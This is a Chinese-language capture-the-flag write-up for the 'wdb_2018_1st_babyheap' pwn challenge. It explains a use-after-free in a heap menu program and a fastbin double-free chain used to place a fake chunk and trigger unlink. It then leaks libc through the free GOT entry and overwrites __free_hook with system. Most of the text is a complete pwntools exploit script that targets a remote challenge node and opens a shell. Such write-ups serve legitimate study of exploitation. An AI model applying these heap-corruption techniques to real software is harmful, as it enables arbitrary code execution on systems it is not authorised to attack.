0%

wdb_2018_1st_babyheap

[TOC]

学习与收获

  1. 更深刻的理解了,fast bin中的每一个bin都服从**LIFO**策略。即,对于size相同的chunk,先被放进fastbin,后被回收。
  2. 学到一个只利用add,向fast bin中添加fake_chunk_hook的方法:
    fast bin中,构造chunk1-->chunk0-->chunk1这样一条指针链。add一次,回收chunk1时,向其fd字段写入fake_chunk_hook。如此,fast bin中便又形成了chunk0-->chunk1-->fake_chunk_hook这样一条指针链。

代码审计

正常的堆菜单,程序中有_add,edit,show,delete_这四个功能。

其中,每次_add_都会创建固定0x30大小的_chunk_,只能读入0x20个字节,_.bss_段处只能有10个_hook_。_edit_,也只能读入0x20个字节,并且_edit_只能利用3次,其计数变量_cnt_存在于地址0x6020b0。_show_,可以打印出_chunk_里的数据。_delete_,_free_后没有将指针置零,存在_uaf_漏洞。

思路

想要_unlink_必须要能使_prev_inuse_位为0,怎么能改写_chunk1_的_prev_inuse_位?可以让_chunk_hook_直接指向_chunk1_addr_。怎么让_chunk_hook_指向_chunk1_prev_size_?可以让fastbin中出现_chunk1_addr-0x10_,然后_add_。怎么能_add_成功?必须使_chunk1_addr-0x18_地址处的值为0x30

泄漏_chunk1_addr_

add(0,b'a'*8)
add(1,b'a'*8)
add(2,b'a'*8)
add(3,b'a'*8)
add(4,b'/bin/sh\x00')
delete(1)
delete(0)
show(0)
chunk1_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
log_addr("chunk1_addr")

_chunk1_addr_就是_chunk1_的_prev_size_字段的地址。

向_fastbin_添加_chunk1_addr-0x10_

这部分,原来我也用掉了一次_edit_,但是后面_edit_次数就不够了,然后思路就一直卡在这儿了。

#fastbin中chunk0-->chunk1,先回收chunk0
delete(1)
#chunk1-->chunk0-->chunk1
#这样我们add一次,会回收chunk1,并向其写入p64(chunk1_addr-0x10)。fastbin中依然有chunk1,其fd=p64(chunk1_addr-0x10),chunk1_addr-0x10便成功被加入到fastbin中
add(5,p64(chunk1_addr-0x10))

写入_fake_size_

payload = b'b'*0x10+p64(0)+p64(0x30)
p.sendlineafter("Choice:",str(1))
p.sendlineafter("Index:",str(6))
p.sendafter("Content:",payload)

add fake_hook

add(7,b'b'*8)
add(8,p64(0x20)+p64(0x90)) #同时我们改写chunk1的prev_inuse位为0
# edit(0),写入fd,bk
payload = p64(0)*2+p64(0x602090-0x18)+p64(0x602090-0x10)
p.sendlineafter("Choice:",str(2))
p.sendlineafter("Index:",str(0))
p.sendafter("Content:",payload)
delete(7)

泄漏_libc_攻击

payload = p64(0x6020b0)+p64(elf.got['free'])+p64(chunk1_addr+0x10)+p64(0x602078)
p.sendlineafter("Choice:",str(2))
p.sendlineafter("Index:",str(6))
p.sendafter("Content:",payload)
show(4)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['free']
log_addr("libc_base")
edit(3,p64(0))
free_hook = libc_base+libc.sym['__free_hook']
payload = p64(chunk1_addr+0xa0)+p64(free_hook)+p64(chunk1_addr+0x10)+p64(0x602078)
p.sendlineafter("Choice:",str(2))
p.sendlineafter("Index:",str(6))
p.sendafter("Content:",payload)
system = libc_base+libc.sym['system']
edit(4,p64(system))

exp

from tools import *
# context(arch='amd64',os='linux',log_level='debug')
# p = process('./wdb_2018_1st_babyheap')
p = remote("node5.buuoj.cn",26682)
debug(p,0x400D59,0x400D65,0x400D7D,0x400D71)
libc = ELF('./libc-2.23.so')
# libc = ELF('/home/wen/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6')
elf = ELF('./wdb_2018_1st_babyheap')

def add(index,content):
p.sendlineafter("Choice:",str(1))
p.sendlineafter("Index:",str(index))
p.sendlineafter("Content:",content)
def edit(index,content):
p.sendlineafter("Choice:",str(2))
p.sendlineafter("Index:",str(index))
p.sendlineafter("Content:",content)
def show(index):
p.sendlineafter("Choice:",str(3))
p.sendlineafter("Index:",str(index))
def delete(index):
p.sendlineafter("Choice:",str(4))
p.sendlineafter("Index:",str(index))
add(0,b'a'*8)
add(1,b'a'*8)
add(2,b'a'*8)
add(3,b'a'*8)
add(4,b'/bin/sh\x00')
delete(1)
delete(0)
show(0)
chunk1_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
log_addr("chunk1_addr")

delete(1)
add(5,p64(chunk1_addr-0x10))
payload = b'b'*0x10+p64(0)+p64(0x30)
p.sendlineafter("Choice:",str(1))
p.sendlineafter("Index:",str(6))
p.sendafter("Content:",payload)
add(7,b'b'*8)
add(8,p64(0x20)+p64(0x90))
payload = p64(0)*2+p64(0x602090-0x18)+p64(0x602090-0x10)
p.sendlineafter("Choice:",str(2))
p.sendlineafter("Index:",str(0))
p.sendafter("Content:",payload)
delete(7)

payload = p64(0x6020b0)+p64(elf.got['free'])+p64(chunk1_addr+0x10)+p64(0x602078)
p.sendlineafter("Choice:",str(2))
p.sendlineafter("Index:",str(6))
p.sendafter("Content:",payload)
show(4)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['free']
log_addr("libc_base")
edit(3,p64(0))
free_hook = libc_base+libc.sym['__free_hook']
payload = p64(chunk1_addr+0xa0)+p64(free_hook)+p64(chunk1_addr+0x10)+p64(0x602078)
p.sendlineafter("Choice:",str(2))
p.sendlineafter("Index:",str(6))
p.sendafter("Content:",payload)
system = libc_base+libc.sym['system']
edit(4,p64(system))

delete(3)
p.interactive()

'''
#最初成功unlink
payload = b'b'*0x10+p64(0)+p64(0x30)
p.sendlineafter("Choice:",str(1))
p.sendlineafter("Index:",str(5))
p.sendafter("Content:",payload)
edit(1,p64(chunk1_addr-0x10))
add(6,p64(chunk1_addr-0x10))
add(7,p64(0x20)+p64(0x90))
payload = p64(0)*2+p64(0x602088-0x18)+p64(0x602088-0x10)
p.sendlineafter("Choice:",str(2))
p.sendlineafter("Index:",str(0))
p.sendafter("Content:",payload)
delete(6)

#改进版本
delete(1)
add(5,p64(chunk1_addr-0x10))
payload = b'b'*0x10+p64(0)+p64(0x30)
p.sendlineafter("Choice:",str(1))
p.sendlineafter("Index:",str(6))
p.sendafter("Content:",payload)
add(7,b'b'*8)
add(8,p64(0x20)+p64(0x90))
payload = p64(0)*2+p64(0x602060-0x18)+p64(0x602060-0x10)
p.sendlineafter("Choice:",str(2))
p.sendlineafter("Index:",str(0))
p.sendafter("Content:",payload)
delete(1)
'''